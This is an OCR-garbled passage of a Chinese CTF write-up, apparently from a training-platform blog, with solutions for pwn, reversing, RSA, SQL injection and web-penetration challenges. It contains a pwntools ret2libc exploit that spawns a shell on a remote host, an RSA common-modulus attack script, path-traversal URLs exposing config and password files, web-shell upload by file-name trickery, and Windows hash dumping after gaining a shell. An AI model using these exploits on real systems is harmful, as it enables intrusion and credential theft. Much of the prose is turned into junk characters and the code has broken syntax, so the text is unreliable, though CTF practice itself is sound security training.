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int game()

1
2t
3| int result; // =ax

4| char buf; // [esp+Ch] [ebp-1Ch]
5

6

7

5| puts(“First, what's your name?");
if ( read(@, &name, 28u) > 19 )

9 puts("0Oh, your name toc loocoocong...");
16 exit(@);
11

}
12| setbuf(stdin, @);
13| setbuf(stdout, @);
14| setbuf(stderr, @);
15| printf("%s, do you want to get flag?\n", &name);

16| read(®, &buf, @x34u);l /I FEEXRET, ex34

17| if ( !strcmp(&uf, "yes™) || (result = strcmp(&buf, "YES")) == @ )

18 result = printf("0K,the flag is flag{%s}, enmmm... but is true?”, "WorkToWeekT T"};
19 return result;

28k

RIAELE, BHERRY, B, fEreadOx34B}, AIEEE#gameik HHkdk, Jaididwrite(1,write,4)(gamefEHN
writeiR Bl 3thht). XFEEE Hwritedthhl, XEEL AT DAMS Blsystemitihit, FANIERIEIT T, FEEEOX804A06CE
A/bin/sh\0,iX f#systemzl 881817 »

Pythonexpin F :

frompwn import *

defrungameAgainPoc(p,yourname,flag):
p.recvuntil("First,what's your name?\n")
p.send(yourname+ "\n")
p.recvuntil("doyou want to get flag?\n")
p.send(flag)

pwnelf= ELF("./pwn")

libcelf= ELF("./libc-2.23.s0")

gameadd= 0x080485CB


https://hetian.blog.csdn.net
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/106329823

plt_write= pwnelf.symbols['write"]
got_write= pwnelf.got['write']
#p= process('./pwn',env={'LD_PRELOAD""./libc-2.23.s0")
p= remote('117.50.60.184", 12345)
rungameAgainPoc(p,"ichuqiu”,"0"32+ p32(plt_write)+
p32(gameadd)+ p32(1) + p32(got_write) + p32(4))
write_addr= u32(p.recv(4))
print"pwn write " ,hex(write_addr)
libcelf_system add= libcelf.symbols["system"] +
write_addr- libcelf.symbols["write"]
print"pwn libcelf_system_add",hex(libcelf_system_add)
rungameAgainPoc(p,"/bin/sh\0","0"*32+
p32(libcelf_system_add)+p32(gameadd)+ p32(0x804A06C))
p.interactive()

flag{62c51c85-1516-4ad8-989c-58ce8c29642¢}

0x02 Antidbg
IDAEBERKEERE, KWE —MEHE

M=

#[ebp+var_6C]01050D02070106010206000B07010C06
#[ebp+var_4C]02080602

#[ebp+var_5C]0100070D020108080D000103040D0303



#[ebp+var_48]02050009
#[ebp+var_44]00000D02
defcover(buf):
buf= buf.decode("hex")
rbuf=""
fori in range(len(buf) - 1,-1,-1):
rbuf+= buffi]
returnrbuf
defcover_hex_lines(buf):
returnbuf.replace(™,"™).replace("\r","").replace("\n","").decode("hex")
var_6c¢c=cover("01050D02070106010206000B07010C06")
+cover("0100070D020108080D000103040D0303")
+cover("02080602") + cover("02050009")
+cover("00000D02")
#printlen(var_6c¢)
byte_402178= ""02 02 02 02 03 01 01 02
0101 02 01 01 00 01 01 02 02 00 01 01 01 01 00
0101 02 02 00 01 01 02 02 01 01 01 01 01 02 01
0103 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0303 0D 04 03 01 00 OD 08 08 01 02 0D 07 00 01
060C 01 07 0B 00 06 02 01 06 01 07 02 OD 05 01
0000 00 00 EF 28 68 5B 00 00 00 00 02 00 00 00
4800 00 00 E4 22 00 00 E4 16 00 00 00 00 00 00
EF28 68 5B 00 00 00 00 OC 00 00 00 14 00 00 00
2C23 00 002C 17 00 00 00 00 00 00 EF 28 68 5B
0000 00 00 OD 00 00 00 54 02 00 00 40 23 00 00
4017 00 00 00 00 00 00 EF 28 68 5B 00 00 00 00
OEO00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
A000 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00



0000 00 00 00 00 00 00 00 00 00 00 00 30 40 00

E022 40 00 01 00 00 00 E8 20 40 00 00 00 00 00

0000 00 00 00 00 00 00 00 01 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00™"
.replace(™,"").replace("\r","").replace("\n","").decode("hex")
byte 402138= """00 00 00 00 01 00 00 00

0200 00 00 03 00 00 00 04 00 00 00 05 00 00 00

0600 00 00 07 00 00 00 08 00 00 00 09 00 00 00

OAO00 00 00 0B 00 00 00 OC 00 00 00 0D 00 00 00

OEQ0 00 00 OF 00 00 00™
replace(™,"™).replace("\r","").replace("\n","").decode("hex")

dword_403018=""0200 00 00 02 00 00 00

0200 00 00 02 00 00 00 00 00 00 00 00 00 00 00

replace(™,"™).replace("\r","").replace("\n","").decode("hex")

#text:0040110E mov  ecx, [ebp+var_4]
#.text:00401111 Xor ecx, ebp
#.text:00401113 mov dword_40301C, 3
#.text:0040111D mov  dword_ 403020, 6
#.text:00401127 mov dword 403024, 7

HNFEB TR, FriBs—T
dword_403018= dword_403018[0:4] + "x03' + dword_403018[5:8]
+'x06' + dword_403018[9:12] + "x07'
+dword_403018[13]
printdword_403018.encode("hex")
fori in range(0,42):
hightnum= ord(dword_403018[ord(byte_402178[i])*4])<<4
numbershow= hightnum+ ord(byte_402138[ord(var_6c][i])*4])

printchr(numbershow),



flag{06b16a72-51cc-4310-88ab-70ab68290e22}

0x03 sqli
A RsqARK T, EMAF %A admin 7, FAFEIERFELHT L, R)EEMBEEE Elflag
flag{b5a1f9c5-ac30-4688-b460-e90bch65bd70}

0x04 word

XER—EZIE, wordX N BEERKELWRE T FEART, BIE Hiflag’, KB flag{71d7ce04-197a-
4d, ¥docHEMAZIPHEE, #Edocument.xmlik B2 —#4rflagb3-9¢1d-0c419406a594}

flag{71d7ce04-197a-4db3-9c1d-0c419406a594}

0x05 RSA

opensslrsa -inform PEM -in pubkey1.pem -pubin -text

Public-Key:(2048 bit)

Modulus:
00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad:86:df:
3c:99:57:71:89:78:04:8d:€5:43:6b:ef:c3:0d:8d:
8c:94:95:89:12:aa:52:6f:f3:33:b6:68:57:30:6e:
bb:8d:e3:6¢:2¢:39:6a:84:ef:dc:5d:38:25:02:da:
a1:a3:f3:b6:€9:75:02:d2:e3:1¢:84:93:30:f5:b4:
€9:52:57:a1:49:a9:71.59:54:ea:f8:93:41:14:7a:
dc:dd:4e:95:0f:ff:74:e3:0b:be:62:28:76:b4: 2e:
ea:c8:6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42:
4c:7d:9a:c4:6b:d6:b5:f3:22:b2:b5:72:8b:a1:48:
70:4a:25:a8:ef.cc:1e:7c:84:ea:7e:5¢c:e3:e0:17:
03:f0:4f:94:a24:31:d9:95:4b:d7:ae:2c:7d:d6:e8:
79:b3:5f:8a:2d:4a:5e:fb:e7:37:25:7b:f9:9b:d9:
ee:66:b1:5a:ff:23:3f.c7:7b:55:8a:48:7d:a5:95:
2f:be:2b:92:3d:a9:¢5:eb:46:78:8¢:05:03:36:b7:

e3:6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb:



e7:24:81:db:25:68:aa:82:9e:ea:c8:7d:20:1a:5a:
8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f.6¢:66:
42:17

Exponent:2333 (0x91d)

openssirsa -inform PEM -in pubkey2.pem -pubin -text

Public-Key:(2048 bit)

Modulus:
00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad:86:df:
3c:99:57:71:89:78:04:8d:€5:43:6b:ef:c3:0d:8d:
8c:94:95:89:12:aa:52:6f:f3:33:b6:68:57:30:6e:
bb:8d:e3:6¢:2¢:39:6a:84:ef:dc:5d:38:25:02:da:
a1:a3:f3:b6:€9:75:02:d2:€3:1¢:84:93:30:f5:b4:
€9:52:57:a1:49:a9:7f:59:54:ea:f8:93:41:14:7a:
dc:dd:4e:95:0f:ff:74:€3:0b:be:62:28:76:b4:2e:
ea:c8:6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42:
4c:7d:9a:¢4:6b:d6:b5:f3:22:b2:b5:72:8b:a1:48:
70:4a:25:a8:ef.cc:1e:7c:84:ea:7e:5¢c:e3:€0:17:
03:f0:4f:94:a24:31:d9:95:4b:d7:ae:2c:7d:d6:e8:
79:b3:5f:.8a:2d:4a:5e:fb:e7:37:25:7b:f9:9b:d9:
ee:66:b1:5a:ff:23:3f:c7:7b:55:8a:48:7d:a5:95:
2f:be:2b:92:3d:a9:¢5:eb:46:78:8¢:05:03:36:b7:
e3:6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb:
e7:24:81:db:25:68:aa:82:9e:ea:c8:7d:20:1a:5a:
8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f:6¢:66:
42:17

Exponent:23333 (0x5b25).

AR, XHENAHEANR—HR, RREefR, #HRSAKILELH

Python#n F :

fromlibnum import n2s,s2n

fromgmpy2 import invert

importbase64



importgmpy2

defbignumber(n):
n= n.decode("hex")
m=0
forb in n:

m=m<<3§8
rn+= ord(b)

returnrn

n =""00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad:86:df:
3c:99:57:71:89:78:04:8d:€5:43:6b:ef:c3:0d:8d:
8c:94:95:89:12:aa:52:6f:f3:33:b6:68:57:30:6€:
bb:8d:e3:6¢:2¢:39:6a:84:ef:dc:5d:38:25:02:da:
a1:a3:f3:b6:€9:75:02:d2:e3:1¢:84:93:30:f5:b4:
€9:52:57:a1:49:a9:7f:59:54:ea:f8:93:41:14:7a:
dc:dd:4e:95:0f:ff:74:€3:0b:be:62:28:76:b4:2e:
ea:c8:6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42:
4c:7d:9a:¢4:6b:d6:b5:f3:22:b2:b5:72:8b:a1:48:
70:4a:25:a8:ef.cc:1e:7c:84:ea:7e:5¢c:e3:e0:17:
03:f0:4f:94:a24:31:d9:95:4b:d7:ae:2c:7d:d6:e8:
79:b3:5f:.8a:2d:4a:5e:fb:e7:37:25:7b:f9:9b:d9:
ee:66:b1:5a:ff:23:3f.c7:7b:55:8a:48:7d:a5:95:
2f:be:2b:92:3d:a9:¢5:eb:46:78:8¢:05:03:36:b7:
e3:6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb:
e7:24:81:db:25:68:aa:82:9e:ea:c8:7d:20:1a:5a:
8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f.6¢:66:42:17""
replace(™:","™).replace("™,"").replace("\r","").replace("\n","")

#printn

n =bignumber(n)

printhex(n)

el1= 2333

€2=23333



defegcd(a,b):
ifa == 0:
return(b,0,1)
else:
g,y,x= egcd(b%a,a)
return(g,x - (b //a)*y,y)
flag1 = base64.b64decode(open("flag1.enc","rb").read())
flag2 = base64.b64decode(open("flag2.enc","rb").read())
c1=s2n(flag1)
c2= s2n(flag2)
c2= invert(c2,n)
#s= egcd(e1,e2)
#prints
s =gmpy2.gcdext(e1,e2)
#prints
s1=g[1]
s2=0 - s[2]
prints1
prints2
m =pow(c1,s1,n) * pow(c2,s2,n)%n
printn2s(m)

flag{4b0b4c8a-82f3-4d80-902b-8e7a5706f8fe}
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1 MRIECMSHR A, FEwooyunFi g s 2 IR IH 475,

WSS FAEEN, ERBEEER P RAE, RIS T HIFH,

down.php?urls=data/../config.php
T#c4&k DB _user/mvoal ' KI5 iY
define('DB_PWD','B!hpp3Dn1.");

flagfti: B!hpp3Dn1.



2.http://url/www.zip, 3R1S M55 & 4 S, fEconfig.php R BLDB_user/rootH /- i 2% 55
define('DB_PWD','mypasswd');

flagfE: mypasswd

0x07 BEFERRA

1R T B

/u-are-admin/download.php?dI=

BRXHHRAE (u-Are-Admin/u-upload-filesc k) , KR BLS<4E H Ft/u-Are-Admin/
flagfE: /u-Are-Admin/

2 fE/u-Are-Admin/ B 3%, TIPA B4, EAEPhp (RANESE) —AEARD, ETJHE, netuser& B REE
¥ fiHackf P &4

flagfei: Hacked356
3.shellft W EERESBRE M 7 A - ZER H Fadmin. bt >4 # A%
flagfei: ad16a159581c7085c771f

0x08 fif K id #¢

1. AWVSHEEAN R

[cat.php?id=2

sqimapBE#EEH, BidvEARI IR )G & & 8 & XHM, serverlog
flagfé: serverlog

2. FE B AE 3R ELroot 1 & i hash,
*21C5210729A90C69019F01FED76FAD4654F27167

R J5 cmd 5% % 13 rootserver

flagff: rootserver

3. &% %, Downloadlog#B B N# HE/ T, WILLTFHBAER S, "IREXCHEAMR B Fpassword.txty 2
[/classes/downloadfile.php?file=../../../..]..]..[password.txt

flagff: c9c35cf409344312146fa7546a94d1a6

0x09 fiy etk



1. AWVSH | /gitI5r%itk 55, A T HGitHack T 8P, EHEEXHRINA 4, Fib
(adminAdmin@pgsql>

flagfE: Admin@pgsql

AP AELESR, BEERRFWU LA —AEARSKE R, REEZE A, btk REsmall, BIfEC
R IEsE,

/admin/uploads/111.php.png

BRI, pngthiE 4 phpEEMNT, RE RN LimnetuserBl AJ 3R R4 & # Richunqiuf P I£4 .
3.k JIRets BB A & /tmplaccess.log it P 25 1Bl 1641

0x10 k&N E

1 HAMBE RSN — MRS, REgetshell, HiEERA
url/info/include.php?filename=..//sjk-uploads/UareHack.txt

FEiGRa, ZFshelld] LL3KE phpStudy H 3% F Documents.txti] P} &

2.2 3shellm A3k Etichunqiuf /* Desktop# H % password.txtf Py 2%

3.getshelljs, tEmsfADTiERM, &5 HQuarksPwDumpZ 2| T ichunqiuf M B iSHASH, 7ELRE RS )%
g

78beaab511afa889b75e0c8d76954a50:4ffe895918a454ce0f872dad8afOb4da:::

flagfe: 123qwe123

o-

O

RS T B !

BRARGTT R RGB! ! !

REBHFHIEARRE L E

WD EMEFE: edu@heetian.com

BREMBELERN . B E. LHELTTHPPHS T 10078-50070 455 ) FE 5 .
B BE IR B A IE |

R TREREE E&85H | & RERIBRRERkK!


http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA%253D%253D&chksm=bd5945be8a2ecca808f62ee5726223c16cab235d216c891df2dd114b8539001390dbad37bccd&idx=2&mid=2652846451&scene=21&sn=2456db03a3a77d5ff8064449c34ffceb#wechat_redirect
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